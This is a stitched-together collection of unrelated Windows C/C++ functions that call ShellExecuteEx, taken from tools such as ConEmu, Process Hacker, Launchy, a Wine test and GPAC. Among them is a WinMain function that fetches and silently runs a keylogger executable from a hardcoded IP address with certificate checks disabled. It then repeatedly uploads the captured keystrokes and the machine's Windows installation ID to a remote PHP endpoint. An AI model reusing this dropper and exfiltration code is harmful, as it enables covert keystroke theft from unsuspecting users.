cleanupFullPath: HeapFree (GetProcessHeap (), 0, fullPath); ExitProcess (exitCode); }
// Do the attach procedure for the requested process bool CAttachDlg::StartAttach(HWND ahAttachWnd, DWORD anPID, DWORD anBits, AttachProcessType anType, BOOL abAltMode) { bool lbRc = false; wchar_t szPipe[MAX_PATH]; PROCESS_INFORMATION pi = {}; STARTUPINFO si = {sizeof(si)}; SHELLEXECUTEINFO sei = {sizeof(sei)}; CESERVER_REQ *pIn = NULL, *pOut = NULL; HANDLE hPipeTest = NULL; HANDLE hPluginTest = NULL; HANDLE hProcTest = NULL; DWORD nErrCode = 0; bool lbCreate; CESERVER_CONSOLE_MAPPING_HDR srv; DWORD nWrapperWait = -1; DWORD nWrapperResult = -1; if (!ahAttachWnd || !anPID || !anBits || !anType) { MBoxAssert(ahAttachWnd && anPID && anBits && anType); goto wrap; } if (gpSetCls->isAdvLogging) { wchar_t szInfo[128]; _wsprintf(szInfo, SKIPLEN(countof(szInfo)) L"CAttachDlg::StartAttach HWND=x%08X, PID=%u, Bits%u, Type=%u, AltMode=%u", (DWORD)(DWORD_PTR)ahAttachWnd, anPID, anBits, (UINT)anType, abAltMode); gpConEmu->LogString(szInfo); } if (LoadSrvMapping(ahAttachWnd, srv)) { pIn = ExecuteNewCmd(CECMD_ATTACH2GUI, sizeof(CESERVER_REQ_HDR)); pOut = ExecuteSrvCmd(srv.nServerPID, pIn, ghWnd); if (pOut && (pOut->hdr.cbSize >= (sizeof(CESERVER_REQ_HDR)+sizeof(DWORD))) && (pOut->dwData[0] != 0)) { // Our console server had been already started // and we successfully have completed the attach lbRc = true; goto wrap; } ExecuteFreeResult(pIn); ExecuteFreeResult(pOut); } // Is it a Far Manager with our ConEmu.dll plugin loaded? _wsprintf(szPipe, SKIPLEN(countof(szPipe)) CEPLUGINPIPENAME, L".", anPID); hPluginTest = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, LocalSecurity(), OPEN_EXISTING, 0, NULL); if (hPluginTest && hPluginTest != INVALID_HANDLE_VALUE) { CloseHandle(hPluginTest); goto DoPluginCall; } // May be there is already ConEmuHk[64].dll loaded? Either it is already in the another ConEmu VCon? _wsprintf(szPipe, SKIPLEN(countof(szPipe)) CEHOOKSPIPENAME, L".", anPID); hPipeTest = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, LocalSecurity(), OPEN_EXISTING, 0, NULL); if (hPipeTest && hPipeTest != INVALID_HANDLE_VALUE) { CloseHandle(hPipeTest); goto DoExecute; } wchar_t szSrv[MAX_PATH+64], szArgs[128]; wcscpy_c(szSrv, gpConEmu->ms_ConEmuBaseDir); wcscat_c(szSrv, (anBits==64) ? L"\\ConEmuC64.exe" : L"\\ConEmuC.exe"); if (abAltMode && (anType == apt_Console)) { _wsprintf(szArgs, SKIPLEN(countof(szArgs)) L" /ATTACH /CONPID=%u /GID=%u /GHWND=%08X", anPID, GetCurrentProcessId(), LODWORD(ghWnd)); } else { _wsprintf(szArgs, SKIPLEN(countof(szArgs)) L" /INJECT=%u", anPID); abAltMode = FALSE; } si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; if (anType == apt_Gui) { gpConEmu->CreateGuiAttachMapping(anPID); } hProcTest = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, FALSE, anPID); // If the attaching process is running as admin (elevated) we have to run ConEmuC as admin too if (hProcTest == NULL) { nErrCode = GetLastError(); MBoxAssert(hProcTest!=NULL || nErrCode==ERROR_ACCESS_DENIED); sei.hwnd = ghWnd; sei.fMask = (abAltMode ? 0 : SEE_MASK_NO_CONSOLE)|SEE_MASK_NOCLOSEPROCESS|SEE_MASK_NOASYNC; sei.lpVerb = L"runas"; sei.lpFile = szSrv; sei.lpParameters = szArgs; sei.lpDirectory = gpConEmu->ms_ConEmuBaseDir; sei.nShow = SW_SHOWMINIMIZED; lbCreate = ShellExecuteEx(&sei); if (lbCreate) { MBoxAssert(sei.hProcess!=NULL); pi.hProcess = sei.hProcess; } } else { // Normal start DWORD dwFlags = 0 | (abAltMode ? CREATE_NO_WINDOW : CREATE_NEW_CONSOLE) | CREATE_DEFAULT_ERROR_MODE | NORMAL_PRIORITY_CLASS; lbCreate = CreateProcess(szSrv, szArgs, NULL, NULL, FALSE, dwFlags, NULL, NULL, &si, &pi); } if (!lbCreate) { wchar_t szErrMsg[MAX_PATH+255], szTitle[128]; DWORD dwErr = GetLastError(); _wsprintf(szErrMsg, SKIPLEN(countof(szErrMsg)) L"Can't start %s server\n%s %s", abAltMode ? L"injection" : L"console", szSrv, szArgs); _wsprintf(szTitle, SKIPLEN(countof(szTitle)) L"ConEmu Attach, PID=%u, TID=%u", GetCurrentProcessId(), GetCurrentThreadId()); DisplayLastError(szErrMsg, dwErr, 0, szTitle); goto wrap; } if (abAltMode) { lbRc = true; goto wrap; } nWrapperWait = WaitForSingleObject(pi.hProcess, INFINITE); nWrapperResult = -1; GetExitCodeProcess(pi.hProcess, &nWrapperResult); CloseHandle(pi.hProcess); if (pi.hThread) CloseHandle(pi.hThread); if (((int)nWrapperResult != CERR_HOOKS_WAS_SET) && ((int)nWrapperResult != CERR_HOOKS_WAS_ALREADY_SET)) { goto wrap; } DoExecute: // Not the attaching process has our ConEmuHk[64].dll loaded // and we can request to start console server for that console or ChildGui pIn = ExecuteNewCmd(CECMD_STARTSERVER, sizeof(CESERVER_REQ_HDR)+sizeof(CESERVER_REQ_START)); pIn->NewServer.nGuiPID = GetCurrentProcessId(); pIn->NewServer.hGuiWnd = ghWnd; if (anType == apt_Gui) { _ASSERTE(ahAttachWnd && IsWindow(ahAttachWnd)); pIn->NewServer.hAppWnd = ahAttachWnd; } goto DoPipeCall; DoPluginCall: // Ask Far Manager plugin to do the attach pIn = ExecuteNewCmd(CECMD_ATTACH2GUI, sizeof(CESERVER_REQ_HDR)); goto DoPipeCall; DoPipeCall: pOut = ExecuteCmd(szPipe, pIn, 500, ghWnd); if (!pOut || (pOut->hdr.cbSize < pIn->hdr.cbSize) || (pOut->dwData[0] == 0)) { _ASSERTE(pOut && pOut->hdr.cbSize == (sizeof(CESERVER_REQ_HDR)+sizeof(CESERVER_REQ_START))); wchar_t szMsg[255], szTitle[128]; wcscpy_c(szMsg, L"Failed to start console server in the remote process"); if (hPluginTest && hPluginTest != INVALID_HANDLE_VALUE) wcscat_c(szMsg, L"\nFar ConEmu plugin was loaded"); if (hPipeTest && hPipeTest != INVALID_HANDLE_VALUE) wcscat_c(szMsg, L"\nHooks already were set"); _wsprintf(szTitle, SKIPLEN(countof(szTitle)) L"ConEmu Attach, PID=%u, TID=%u", GetCurrentProcessId(), GetCurrentThreadId()); DisplayLastError(szMsg, (pOut && (pOut->hdr.cbSize >= pIn->hdr.cbSize)) ? pOut->dwData[1] : -1, 0, szTitle); goto wrap; } lbRc = true; wrap: SafeCloseHandle(hProcTest); UNREFERENCED_PARAMETER(nErrCode); UNREFERENCED_PARAMETER(nWrapperWait); ExecuteFreeResult(pIn); ExecuteFreeResult(pOut); return lbRc; }
HRESULT CALLBACK FinalTaskDialogCallbackProc( _In_ HWND hwndDlg, _In_ UINT uMsg, _In_ WPARAM wParam, _In_ LPARAM lParam, _In_ LONG_PTR dwRefData ) { PPH_UPDATER_CONTEXT context = (PPH_UPDATER_CONTEXT)dwRefData; switch (uMsg) { case TDN_NAVIGATED: { if (!UpdaterCheckApplicationDirectory()) { SendMessage(hwndDlg, TDM_SET_BUTTON_ELEVATION_REQUIRED_STATE, IDYES, TRUE); } } break; case TDN_BUTTON_CLICKED: { INT buttonId = (INT)wParam; if (buttonId == IDRETRY) { ShowCheckForUpdatesDialog(context); return S_FALSE; } else if (buttonId == IDYES) { SHELLEXECUTEINFO info = { sizeof(SHELLEXECUTEINFO) }; PPH_STRING parameters; if (PhIsNullOrEmptyString(context->SetupFilePath)) break; parameters = PH_AUTO(PhGetApplicationDirectory()); parameters = PH_AUTO(PhBufferToHexString((PUCHAR)parameters->Buffer, (ULONG)parameters->Length)); parameters = PH_AUTO(PhConcatStrings(3, L"-update \"", PhGetStringOrEmpty(parameters), L"\"")); info.lpFile = PhGetStringOrEmpty(context->SetupFilePath); info.lpParameters = PhGetString(parameters); info.lpVerb = UpdaterCheckApplicationDirectory() ? NULL : L"runas"; info.nShow = SW_SHOW; info.hwnd = hwndDlg; info.fMask = SEE_MASK_NOASYNC | SEE_MASK_FLAG_NO_UI | SEE_MASK_NOZONECHECKS; ProcessHacker_PrepareForEarlyShutdown(PhMainWndHandle); if (ShellExecuteEx(&info)) { ProcessHacker_Destroy(PhMainWndHandle); } else { ULONG errorCode = GetLastError(); // Install failed, cancel the shutdown. ProcessHacker_CancelEarlyShutdown(PhMainWndHandle); // Show error dialog. if (errorCode != ERROR_CANCELLED) // Ignore UAC decline. { PhShowStatus(hwndDlg, L"Unable to execute the setup.", 0, errorCode); if (context->StartupCheck) ShowAvailableDialog(context); else ShowCheckForUpdatesDialog(context); } return S_FALSE; } } } break; case TDN_HYPERLINK_CLICKED: { TaskDialogLinkClicked(context); return S_FALSE; } break; } return S_OK; }
/* * DriverJumpToKey * * Purpose: * * JumpToKey button handler. * */ VOID DriverJumpToKey( PROP_OBJECT_INFO *Context ) { BOOL cond = FALSE; DWORD dwProcessId; WCHAR *ch, *ckey; HWND regeditHwnd, regeditMainHwnd; SIZE_T sz; LPWSTR lpRegPath; HANDLE hRegeditProcess; SHELLEXECUTEINFO seinfo; if (Context == NULL) { return; } hRegeditProcess = NULL; lpRegPath = NULL; do { //create regkeypath buffer to navigate for sz = (_strlen(Context->lpObjectName) * sizeof(WCHAR)) + (_strlen(REGISTRYSERVICESKEY) * sizeof(WCHAR)) + sizeof(UNICODE_NULL); lpRegPath = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sz); if (lpRegPath == NULL) { break; } wsprintf(lpRegPath, REGISTRYSERVICESKEY, Context->lpObjectName); regeditHwnd = NULL; //open RegEdit regeditMainHwnd = FindWindow(REGEDITWNDCLASS, NULL); if (regeditMainHwnd == NULL) { RtlSecureZeroMemory(&seinfo, sizeof(seinfo)); seinfo.cbSize = sizeof(seinfo); seinfo.fMask = SEE_MASK_NOCLOSEPROCESS; seinfo.lpVerb = L"open"; seinfo.lpFile = L"regedit.exe"; seinfo.nShow = SW_SHOWNORMAL; ShellExecuteEx(&seinfo); hRegeditProcess = seinfo.hProcess; if (hRegeditProcess == NULL) { break; } WaitForInputIdle(hRegeditProcess, 10000); regeditMainHwnd = FindWindow(REGEDITWNDCLASS, NULL); } else { //open regedit process for sync dwProcessId = 0; GetWindowThreadProcessId(regeditMainHwnd, &dwProcessId); hRegeditProcess = OpenProcess(SYNCHRONIZE, FALSE, dwProcessId); } //check if we failed to launch regedit if ((hRegeditProcess == NULL) || (regeditMainHwnd == NULL)) { break; } //restore regedit window if (IsIconic(regeditMainHwnd)) { ShowWindow(regeditMainHwnd, SW_RESTORE); } else { ShowWindow(regeditMainHwnd, SW_SHOW); } SetForegroundWindow(regeditMainHwnd); SetFocus(regeditMainHwnd); WaitForInputIdle(hRegeditProcess, 10000); //get treeview regeditHwnd = FindWindowEx(regeditMainHwnd, NULL, WC_TREEVIEW, NULL); if (regeditHwnd == NULL) { break; } //set focus on treeview SetForegroundWindow(regeditHwnd); SetFocus(regeditHwnd); //go to the tree root SendMessage(regeditHwnd, WM_KEYDOWN, VK_HOME, 0); //open path for (ch = lpRegPath; *ch; ++ch) { //expand if needed if (*ch == L'\\') { SendMessage(regeditHwnd, WM_KEYDOWN, VK_RIGHT, 0); WaitForInputIdle(hRegeditProcess, 1000); } else { //select item ckey = (WCHAR*)CharUpper((LPWSTR)(UINT)*ch); SendMessage(regeditHwnd, WM_CHAR, (WPARAM)ckey, (LPARAM)0); WaitForInputIdle(hRegeditProcess, 1000); } } SetForegroundWindow(regeditMainHwnd); SetFocus(regeditMainHwnd); } while (cond); if (lpRegPath) { HeapFree(GetProcessHeap(), 0, lpRegPath); } if (hRegeditProcess) { CloseHandle(hRegeditProcess); } }
/* * Try to start OCS */ void OkolabDevice::OCSStart() { #if defined(WIN32) || defined(WIN64) char cmdline[500]; DWORD size=1023; DWORD type=REG_SZ; TCHAR wvalue[255]; HKEY hKey; /* #if defined(WIN32) if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion", 0, KEY_READ | KEY_WOW64_64KEY, &hKey)==ERROR_SUCCESS) { DWORD dwret; dwret=RegQueryValueEx(hKey, L"ProgramFilesDir", NULL, &type, (LPBYTE)wvalue, &size); RegCloseKey(hKey); } #endif #if defined(WIN64) || defined(X64) if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion", 0, KEY_READ | KEY_WOW64_64KEY, &hKey)==ERROR_SUCCESS) { DWORD dwret; dwret=RegQueryValueEx(hKey, L"ProgramFilesDir (x86)", NULL, &type, (LPBYTE)wvalue, &size); RegCloseKey(hKey); } #endif */ if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{8AEF906D-2228-4298-B37E-OKOCTRLSERV2}_is1", 0, KEY_READ | KEY_WOW64_64KEY, &hKey)==ERROR_SUCCESS) { DWORD dwret; dwret=RegQueryValueEx(hKey, L"Inno Setup: App Path", NULL, &type, (LPBYTE)wvalue, &size); RegCloseKey(hKey); } else if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{8AEF906D-2228-4298-B37E-OKOCTRLSERV2}_is1", 0, KEY_READ | KEY_WOW64_64KEY, &hKey)==ERROR_SUCCESS) { DWORD dwret; dwret=RegQueryValueEx(hKey, L"Inno Setup: App Path", NULL, &type, (LPBYTE)wvalue, &size); RegCloseKey(hKey); } char value[400]; WideCharToMultiByte(CP_ACP,0,wvalue,255,value,400,NULL,NULL); // snprintf(cmdline,500,"\"%s\\OKOlab\\OKO-Control Server\\OKO-Control Server.exe\"",value); snprintf(cmdline,500,"\"%s\\OKO-Control Server.exe\"",value); /* FILE *fp; fp=fopen("registry_log.txt","a"); fprintf(fp,"cmdline=%s\n",cmdline); fclose(fp); */ if(OCSRunning()) return; TCHAR path[500]; MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, cmdline, -1, path, 500); SHELLEXECUTEINFO ShExecInfo; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ShExecInfo.fMask = NULL; ShExecInfo.hwnd = NULL; ShExecInfo.lpVerb = NULL; ShExecInfo.lpFile = path; ShExecInfo.lpParameters = NULL; ShExecInfo.lpDirectory = NULL; ShExecInfo.nShow = SW_MAXIMIZE; ShExecInfo.hInstApp = NULL; ShellExecuteEx(&ShExecInfo); #endif }
int VerbyPlugin::launchItem(QList<InputData>* inputData, CatItem* item) { item = item; // Compiler Warning if (inputData->count() != 2) { // Tell Launchy to handle the command return MSG_CONTROL_LAUNCHITEM; } QString noun = inputData->first().getTopResult().fullPath; CatItem& verbItem = inputData->last().getTopResult(); QString verb = verbItem.shortName; qDebug() << "Verby launchItem" << verb; if (verb == "Run") { runProgram(noun, ""); } else if (verb == "Open containing folder") { QFileInfo info(noun); if (info.isSymLink()) { info.setFile(info.symLinkTarget()); } #ifdef Q_WS_WIN runProgram("explorer.exe", "\"" + QDir::toNativeSeparators(info.absolutePath()) + "\""); #endif } else if (verb == "Open shortcut folder") { QFileInfo info(noun); #ifdef Q_WS_WIN runProgram("explorer.exe", "\"" + QDir::toNativeSeparators(info.absolutePath()) + "\""); #endif } else if (verb == "Run as") { #ifdef Q_WS_WIN SHELLEXECUTEINFO shellExecInfo; shellExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); shellExecInfo.fMask = SEE_MASK_FLAG_NO_UI; shellExecInfo.hwnd = NULL; shellExecInfo.lpVerb = L"runas"; shellExecInfo.lpFile = (LPCTSTR)noun.utf16(); shellExecInfo.lpParameters = NULL; QDir dir(noun); QFileInfo info(noun); if (!info.isDir() && info.isFile()) dir.cdUp(); QString filePath = QDir::toNativeSeparators(dir.absolutePath()); shellExecInfo.lpDirectory = (LPCTSTR)filePath.utf16(); shellExecInfo.nShow = SW_NORMAL; shellExecInfo.hInstApp = NULL; ShellExecuteEx(&shellExecInfo); #endif } else if (verb == "File properties") { #ifdef Q_WS_WIN SHELLEXECUTEINFO shellExecInfo; shellExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); shellExecInfo.fMask = SEE_MASK_FLAG_NO_UI | SEE_MASK_INVOKEIDLIST; shellExecInfo.hwnd = NULL; shellExecInfo.lpVerb = L"properties"; QString filePath = QDir::toNativeSeparators(noun); shellExecInfo.lpFile = (LPCTSTR)filePath.utf16(); shellExecInfo.lpIDList = NULL; shellExecInfo.lpParameters = NULL; shellExecInfo.lpDirectory = NULL; shellExecInfo.nShow = SW_NORMAL; shellExecInfo.hInstApp = NULL; ShellExecuteEx(&shellExecInfo); #endif } else if (verb == "Copy path to clipboard") { QFileInfo info(noun); if (info.isSymLink()) { info.setFile(info.symLinkTarget()); } QClipboard *clipboard = QApplication::clipboard(); clipboard->setText(QDir::toNativeSeparators(info.canonicalFilePath())); } else { // Tell Launchy to handle the command return MSG_CONTROL_LAUNCHITEM; } updateUsage(verbItem); return true; }
// --------------------------------------------------------------------------- // // // ROUTINE: LaunchApplication::LaunchFromString // // PURPOSE: Runs a start command. // // --------------------------------------------------------------------------- // bool LaunchApplication::LaunchFromString( char const* pszFile, char const* pszParameters, bool bMaximize, bool bShutdownCurrentApp ) { #if defined(PLATFORM_WIN32) RMode rMode; // Check inputs. if( LTStrEmpty( pszFile )) return false; // Check if the input is a file. char szFileName[MAX_PATH] = ""; LTFileOperations::SplitPath( pszFile, NULL, szFileName, NULL ); if( !LTStrEmpty( szFileName )) { // Make sure the file exists. if( !LTFileOperations::FileExists( pszFile )) return false; } // Save the current render mode. We'll need to restore it if the serverapp // launching fails. g_pLTClient->GetRenderMode( &rMode ); // Shutdown the renderer, minimize it, and hide it... if( bShutdownCurrentApp ) { g_pLTClient->ShutdownRender( RSHUTDOWN_MINIMIZEWINDOW | RSHUTDOWN_HIDEWINDOW ); } // Not shutting down, but we'll need to make sure to minimize. Just executing the new app // doesn't always make it foreground. else { extern HWND g_hMainWnd; ShowWindow(g_hMainWnd, SW_MINIMIZE); } SHELLEXECUTEINFO ShExecInfo = {0}; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ShExecInfo.fMask = 0; ShExecInfo.hwnd = NULL; ShExecInfo.lpVerb = "open"; ShExecInfo.lpFile = pszFile; ShExecInfo.lpParameters = pszParameters; ShExecInfo.lpDirectory = NULL; ShExecInfo.nShow = bMaximize ? SW_SHOWMAXIMIZED : SW_SHOWNORMAL; ShExecInfo.hInstApp = NULL; if( !ShellExecuteEx(&ShExecInfo)) { // Serverapp failed. Restore the render mode. if( bShutdownCurrentApp ) g_pLTClient->SetRenderMode( &rMode ); return false; } if( bShutdownCurrentApp ) { // We're done with this process. g_pLTClient->Shutdown(); } return true; #elif defined(PLATFORM_XENON) // XENON: Not yet implemented return false; #else // New platforms must re-implement this function #error Undefined platform encountered in LaunchFromString return false; #endif }
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nCmdShow) { char *url = "https://120.125.80.141/opgs/agent/mission/keylog2.exe"; char *url2 = "https://120.125.80.141/opgs/agent/keylog_upload.php"; char agent[] = "opgs/1.1"; FILE *fp; _mkdir("C:\\tmp"); CURL *curl; fp = fopen(filename,"wb"); curl = curl_easy_init(); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_URL, url); curl_easy_setopt(curl, CURLOPT_USERAGENT, agent); curl_easy_setopt(curl, CURLOPT_HEADER, 0L); curl_easy_setopt(curl, CURLOPT_POST,1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, callback_file); curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp); curl_easy_perform(curl); fclose(fp); curl_easy_cleanup(curl); SHELLEXECUTEINFO ShExecInfo = {0}; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS; ShExecInfo.hwnd = NULL; ShExecInfo.lpVerb = NULL; ShExecInfo.lpFile = "cmd.exe"; ShExecInfo.lpParameters = "/c start C:\\tmp\\keylog2.exe"; ShExecInfo.lpDirectory = NULL; ShExecInfo.nShow = SW_HIDE; ShExecInfo.hInstApp = NULL; ShellExecuteEx(&ShExecInfo); WaitForSingleObject(ShExecInfo.hProcess,INFINITE); while(1) { Sleep(20000); char install_id[128]; char line[1024]; char log[2048]; char keylog[2048]; char cmd[256]; char *callback; char postdata[POST_SIZE]; sprintf(cmd,"/c %s %s > C:\\tmp\\key.txt", "%windir%\\Sysnative\\cscript %windir%\\System32\\slmgr.vbs /dlv", "| %windir%\\Sysnative\\findstr \"¦w¸ËÃѧO½X\""); SHELLEXECUTEINFO ShExecInfo = {0}; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS; ShExecInfo.hwnd = NULL; ShExecInfo.lpVerb = NULL; ShExecInfo.lpFile = "cmd.exe"; ShExecInfo.lpParameters = cmd; ShExecInfo.lpDirectory = NULL; ShExecInfo.nShow = SW_HIDE; ShExecInfo.hInstApp = NULL; ShellExecuteEx(&ShExecInfo); WaitForSingleObject(ShExecInfo.hProcess,INFINITE); fp = fopen("C:\\tmp\\key.txt", "r"); fgets(line,1024,fp); sscanf(line,"%*s %s",install_id); fclose(fp); fp = fopen("C:\\tmp\\keylog.txt", "r"); fgets(log,2048,fp); sscanf(log,"%s",keylog); fclose(fp); sprintf(postdata,"install_id=%s&keylog=%s",install_id,keylog); curl = curl_easy_init(); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_URL, url2); curl_easy_setopt(curl, CURLOPT_USERAGENT, agent); curl_easy_setopt(curl, CURLOPT_HEADER, 0L); curl_easy_setopt(curl, CURLOPT_POST,1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS,postdata); callback = (char *)curl_easy_perform(curl); } //hellExecute(NULL,NULL,"cmd.exe","/c start C:\\tmp\\keylog2.exe",NULL,SW_HIDE); }
void PostProcessDota2( const char *pPath ) { #ifdef CLIENT_DLL return; #endif // CLIENT_DLL float start = Plat_FloatTime(); if( !filesystem->FileExists( VPKBIN ) ) { Warning("PostProcessDota2: %s does not exists. Unable to parse models. Please install the Left 4 Dead 2 SDK\n", VPKBIN); return; } filesystem->AddSearchPath( "../../common/dota 2 beta/dota", "DOTA", PATH_ADD_TO_TAIL ); Msg("PostProcessDota2...\n"); CUtlVector<extractvpkfile_t> worklist; RecursiveParsePath( pPath, worklist, "DOTA" ); Msg( "worklist: %d\n", worklist.Count() ); #define MAX_COMMAND_SIZE 32768 char args[MAX_COMMAND_SIZE]; args[0] = '\0'; Q_strcat( args, "x \"../../common/dota 2 beta/dota/pak01_dir.vpk\"", MAX_COMMAND_SIZE ); Msg("Extracting files...\n"); for( int i = 0; i < worklist.Count(); i++ ) { Q_strcat( args, " ", MAX_COMMAND_SIZE ); Q_strcat( args, worklist[i].path, MAX_COMMAND_SIZE ); if( i % 20 == 0 ) { SHELLEXECUTEINFO ShExecInfo = {0}; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS; ShExecInfo.hwnd = NULL; ShExecInfo.lpVerb = NULL; ShExecInfo.lpFile = VPKBIN; ShExecInfo.lpParameters = args; ShExecInfo.lpDirectory = NULL; ShExecInfo.nShow = SW_SHOW; ShExecInfo.hInstApp = NULL; ShellExecuteEx(&ShExecInfo); ShowWindow(ShExecInfo.hwnd, SW_HIDE); WaitForSingleObject(ShExecInfo.hProcess,INFINITE); args[0] = '\0'; Q_strcat( args, "x \"../../common/dota 2 beta/dota/pak01_dir.vpk\"", MAX_COMMAND_SIZE ); } } SHELLEXECUTEINFO ShExecInfo = {0}; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS; ShExecInfo.hwnd = NULL; ShExecInfo.lpVerb = NULL; ShExecInfo.lpFile = VPKBIN; ShExecInfo.lpParameters = args; ShExecInfo.lpDirectory = NULL; ShExecInfo.nShow = SW_SHOW; ShExecInfo.hInstApp = NULL; ShellExecuteEx(&ShExecInfo); WaitForSingleObject(ShExecInfo.hProcess,INFINITE); filesystem->RemoveSearchPaths( "DOTA" ); Msg("PostProcessDota2: %f seconds\n", Plat_FloatTime() - start ); }
static int shell_execute_ex(DWORD mask, LPCSTR operation, LPCSTR file, LPCSTR parameters, LPCSTR directory) { SHELLEXECUTEINFO sei; BOOL success; int rc; strcpy(shell_call, "ShellExecuteEx("); strcat_param(shell_call, operation); strcat(shell_call, ", "); strcat_param(shell_call, file); strcat(shell_call, ", "); strcat_param(shell_call, parameters); strcat(shell_call, ", "); strcat_param(shell_call, directory); strcat(shell_call, ")"); if (winetest_debug > 1) trace("%s\n", shell_call); sei.cbSize=sizeof(sei); sei.fMask=SEE_MASK_NOCLOSEPROCESS | mask; sei.hwnd=NULL; sei.lpVerb=operation; sei.lpFile=file; sei.lpParameters=parameters; sei.lpDirectory=directory; sei.nShow=SW_SHOWNORMAL; sei.hInstApp=NULL; /* Out */ sei.lpIDList=NULL; sei.lpClass=NULL; sei.hkeyClass=NULL; sei.dwHotKey=0; U(sei).hIcon=NULL; sei.hProcess=NULL; /* Out */ DeleteFile(child_file); SetLastError(0xcafebabe); success=ShellExecuteEx(&sei); rc=(int)sei.hInstApp; ok((success && rc >= 32) || (!success && rc < 32), "%s rc=%d and hInstApp=%d is not allowed\n", shell_call, success, rc); if (rc>=32) { int wait_rc; if (sei.hProcess!=NULL) { wait_rc=WaitForSingleObject(sei.hProcess, 5000); ok(wait_rc==WAIT_OBJECT_0, "WaitForSingleObject(hProcess) returned %d\n", wait_rc); } wait_rc=WaitForSingleObject(hEvent, 5000); ok(wait_rc==WAIT_OBJECT_0, "WaitForSingleObject returned %d\n", wait_rc); } /* The child process may have changed the result file, so let profile * functions know about it */ WritePrivateProfileStringA(NULL, NULL, NULL, child_file); if (rc>=32) dump_child(); return rc; }
Bool GPAC_EventProc(void *ptr, GF_Event *evt) { switch (evt->type) { case GF_EVENT_DURATION: Duration = (u32) (evt->duration.duration*1000); CanSeek = evt->duration.can_seek; break; case GF_EVENT_MESSAGE: { if (!evt->message.message) return 0; GF_LOG(GF_LOG_ERROR, GF_LOG_CONSOLE, ("%s: %s\n", evt->message.message, gf_error_to_string(evt->message.error))); //set_status((char *) evt->message.message); } break; case GF_EVENT_PROGRESS: { char *szTitle = ""; if (evt->progress.progress_type==0) szTitle = "Buffer "; else if (evt->progress.progress_type==1) szTitle = "Download "; else if (evt->progress.progress_type==2) szTitle = "Import "; cbk_on_progress(szTitle, evt->progress.done, evt->progress.total); } break; case GF_EVENT_SIZE: break; case GF_EVENT_RESOLUTION: recompute_res(evt->size.width, evt->size.height); do_layout(1); break; case GF_EVENT_SCENE_SIZE: do_layout(1); break; case GF_EVENT_DBLCLICK: set_full_screen(); return 0; case GF_EVENT_CONNECT: if (evt->connect.is_connected) { is_connected = 1; if (!backlight_off) set_backlight_state(1); refresh_recent_files(); navigation_on = (gf_term_get_option(term, GF_OPT_NAVIGATION)==GF_NAVIGATE_NONE) ? 0 : 1; } else { navigation_on = 0; is_connected = 0; Duration = 0; } break; case GF_EVENT_EOS: if (Duration>2000) gf_term_play_from_time(term, 0, 0); break; case GF_EVENT_QUIT: PostMessage(g_hwnd, WM_DESTROY, 0, 0); break; case GF_EVENT_KEYDOWN: switch (evt->key.key_code) { case GF_KEY_ENTER: if (full_screen) set_full_screen(); break; case GF_KEY_1: ctrl_mod_down = !ctrl_mod_down; evt->key.key_code = GF_KEY_CONTROL; evt->type = ctrl_mod_down ? GF_EVENT_KEYDOWN : GF_EVENT_KEYUP; gf_term_user_event(term, evt); break; case GF_KEY_MEDIAPREVIOUSTRACK: playlist_act = 2; break; case GF_KEY_MEDIANEXTTRACK: playlist_act = 1; break; } break; case GF_EVENT_NAVIGATE: if (gf_term_is_supported_url(term, evt->navigate.to_url, 1, 1)) { gf_term_navigate_to(term, evt->navigate.to_url); return 1; } else { #ifdef _WIN32_WCE u16 dst[1024]; #endif SHELLEXECUTEINFO info; /* if (full_screen) gf_term_set_option(term, GF_OPT_FULLSCREEN, 0); full_screen = 0; */ memset(&info, 0, sizeof(SHELLEXECUTEINFO)); info.cbSize = sizeof(SHELLEXECUTEINFO); info.lpVerb = _T("open"); info.fMask = SEE_MASK_NOCLOSEPROCESS; info.lpFile = _T("iexplore"); #ifdef _WIN32_WCE CE_CharToWide((char *) evt->navigate.to_url, dst); info.lpParameters = (LPCTSTR) dst; #else info.lpParameters = evt->navigate.to_url; #endif info.nShow = SW_SHOWNORMAL; ShellExecuteEx(&info); } return 1; } return 0; }
